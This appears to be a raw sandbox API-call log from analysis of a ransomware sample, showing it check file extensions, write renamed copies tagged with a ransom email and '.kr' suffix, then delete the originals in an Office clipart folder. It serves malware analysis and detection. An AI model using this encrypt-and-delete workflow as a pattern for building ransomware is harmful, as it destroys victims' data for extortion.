[0185.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.732] lstrlenW (lpString=".xlsx") returned 5 [0185.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.732] lstrlenW (lpString=".ppt") returned 4 [0185.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0185.732] lstrlenW (lpString=".zip") returned 4 [0185.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.732] lstrlenW (lpString=".rar") returned 4 [0185.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.732] lstrlenW (lpString=".bz2") returned 4 [0185.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.732] lstrlenW (lpString=".7z") returned 3 [0185.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0185.732] lstrlenW (lpString=".dbf") returned 4 [0185.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0185.732] lstrlenW (lpString=".1cd") returned 4 [0185.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0185.732] lstrlenW (lpString=".jpg") returned 4 [0185.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.733] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0185.733] lstrlenW (lpString="DD00234_.WMF") returned 12 [0185.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0185.943] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=29628) returned 1 [0185.943] CloseHandle (hObject=0x520) returned 1 [0185.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x220 [0185.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0185.949] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.949] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0185.950] GetLastError () returned 0x0 [0185.950] ReadFile (in: hFile=0x520, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x73bc, lpOverlapped=0x0) returned 1 [0185.953] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x73c0, lpOverlapped=0x0) returned 1 [0185.954] ReadFile (in: hFile=0x520, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.954] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.954] SetEndOfFile (hFile=0x534) returned 1 [0185.955] CloseHandle (hObject=0x534) returned 1 [0185.955] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.955] SetEndOfFile (hFile=0x520) returned 1 [0185.960] CloseHandle (hObject=0x520) returned 1 [0185.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0185.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0185.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0185.961] lstrlenW (lpString=".doc") returned 4 [0185.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.961] lstrlenW (lpString=".docx") returned 5 [0185.961] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.961] lstrlenW (lpString=".pdf") returned 4 [0185.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.961] lstrlenW (lpString=".xls") returned 4 [0185.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.961] lstrlenW (lpString=".xlsx") returned 5 [0185.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.961] lstrlenW (lpString=".ppt") returned 4 [0185.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0185.961] lstrlenW (lpString=".zip") returned 4 [0185.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.961] lstrlenW (lpString=".rar") returned 4 [0185.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.961] lstrlenW (lpString=".bz2") returned 4 [0185.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.961] lstrlenW (lpString=".7z") returned 3 [0185.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0185.961] lstrlenW (lpString=".dbf") returned 4 [0185.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0185.961] lstrlenW (lpString=".1cd") returned 4 [0185.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0185.961] lstrlenW (lpString=".jpg") returned 4 [0185.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0185.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0185.962] lstrlenW (lpString=".doc") returned 4 [0185.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.962] lstrlenW (lpString=".docx") returned 5 [0185.962] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.962] lstrlenW (lpString=".pdf") returned 4 [0185.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.962] lstrlenW (lpString=".xls") returned 4 [0185.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.962] lstrlenW (lpString=".xlsx") returned 5 [0185.962] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.962] lstrlenW (lpString=".ppt") returned 4 [0185.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0185.962] lstrlenW (lpString=".zip") returned 4 [0185.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.962] lstrlenW (lpString=".rar") returned 4 [0185.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.962] lstrlenW (lpString=".bz2") returned 4 [0185.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.962] lstrlenW (lpString=".7z") returned 3 [0185.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0185.962] lstrlenW (lpString=".dbf") returned 4 [0185.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0185.962] lstrlenW (lpString=".1cd") returned 4 [0185.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0185.962] lstrlenW (lpString=".jpg") returned 4 [0185.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.963] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0185.963] lstrlenW (lpString="DD00372_.WMF") returned 12 [0185.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0185.975] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=792) returned 1 [0185.975] CloseHandle (hObject=0x500) returned 1 [0185.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x220 [0185.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0185.976] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.976] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0185.977] GetLastError () returned 0x0 [0185.977] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x318, lpOverlapped=0x0) returned 1 [0185.978] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x320, lpOverlapped=0x0) returned 1 [0185.979] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.979] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.980] SetEndOfFile (hFile=0x534) returned 1 [0185.980] CloseHandle (hObject=0x534) returned 1 [0185.980] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.980] SetEndOfFile (hFile=0x500) returned 1 [0185.982] CloseHandle (hObject=0x500) returned 1 [0185.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0185.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0185.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0185.983] lstrlenW (lpString=".doc") returned 4 [0185.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.983] lstrlenW (lpString=".docx") returned 5 [0185.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.983] lstrlenW (lpString=".pdf") returned 4 [0185.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.983] lstrlenW (lpString=".xls") returned 4 [0185.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.983] lstrlenW (lpString=".xlsx") returned 5 [0185.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.984] lstrlenW (lpString=".ppt") returned 4 [0185.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0185.984] lstrlenW (lpString=".zip") returned 4 [0185.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.984] lstrlenW (lpString=".rar") returned 4 [0185.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.984] lstrlenW (lpString=".bz2") returned 4 [0185.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.984] lstrlenW (lpString=".7z") returned 3 [0185.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0185.984] lstrlenW (lpString=".dbf") returned 4 [0185.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0185.984] lstrlenW (lpString=".1cd") returned 4 [0185.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0185.984] lstrlenW (lpString=".jpg") returned 4 [0185.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0185.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0185.984] lstrlenW (lpString=".doc") returned 4 [0185.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.984] lstrlenW (lpString=".docx") returned 5 [0185.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.984] lstrlenW (lpString=".pdf") returned 4 [0185.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.984] lstrlenW (lpString=".xls") returned 4 [0185.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.984] lstrlenW (lpString=".xlsx") returned 5 [0185.985] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.985] lstrlenW (lpString=".ppt") returned 4 [0185.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0185.985] lstrlenW (lpString=".zip") returned 4 [0185.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.985] lstrlenW (lpString=".rar") returned 4 [0185.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.985] lstrlenW (lpString=".bz2") returned 4 [0185.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.985] lstrlenW (lpString=".7z") returned 3 [0185.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0185.985] lstrlenW (lpString=".dbf") returned 4 [0185.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0185.985] lstrlenW (lpString=".1cd") returned 4 [0185.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0185.985] lstrlenW (lpString=".jpg") returned 4 [0185.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.985] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0185.985] lstrlenW (lpString="DD00407_.WMF") returned 12 [0185.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0185.986] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=7828) returned 1 [0185.986] CloseHandle (hObject=0x500) returned 1 [0185.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x220 [0185.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0185.987] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.987] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0185.988] GetLastError () returned 0x0 [0185.988] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1e94, lpOverlapped=0x0) returned 1 [0186.166] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1ea0, lpOverlapped=0x0) returned 1 [0186.167] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.167] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.167] SetEndOfFile (hFile=0x534) returned 1 [0186.167] CloseHandle (hObject=0x534) returned 1 [0186.167] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.167] SetEndOfFile (hFile=0x500) returned 1 [0186.170] CloseHandle (hObject=0x500) returned 1 [0186.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0186.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0186.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0186.933] lstrlenW (lpString=".doc") returned 4 [0186.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.933] lstrlenW (lpString=".docx") returned 5 [0186.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.933] lstrlenW (lpString=".pdf") returned 4 [0186.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.933] lstrlenW (lpString=".xls") returned 4 [0186.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.933] lstrlenW (lpString=".xlsx") returned 5 [0186.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.933] lstrlenW (lpString=".ppt") returned 4 [0186.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0186.933] lstrlenW (lpString=".zip") returned 4 [0186.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.933] lstrlenW (lpString=".rar") returned 4 [0186.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.933] lstrlenW (lpString=".bz2") returned 4 [0186.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.933] lstrlenW (lpString=".7z") returned 3 [0186.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0186.934] lstrlenW (lpString=".dbf") returned 4 [0186.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0186.934] lstrlenW (lpString=".1cd") returned 4 [0186.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0186.934] lstrlenW (lpString=".jpg") returned 4 [0186.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0186.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0186.934] lstrlenW (lpString=".doc") returned 4 [0186.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.934] lstrlenW (lpString=".docx") returned 5 [0186.934] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.934] lstrlenW (lpString=".pdf") returned 4 [0186.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.934] lstrlenW (lpString=".xls") returned 4 [0186.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.934] lstrlenW (lpString=".xlsx") returned 5 [0186.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.935] lstrlenW (lpString=".ppt") returned 4 [0186.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0186.935] lstrlenW (lpString=".zip") returned 4 [0186.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 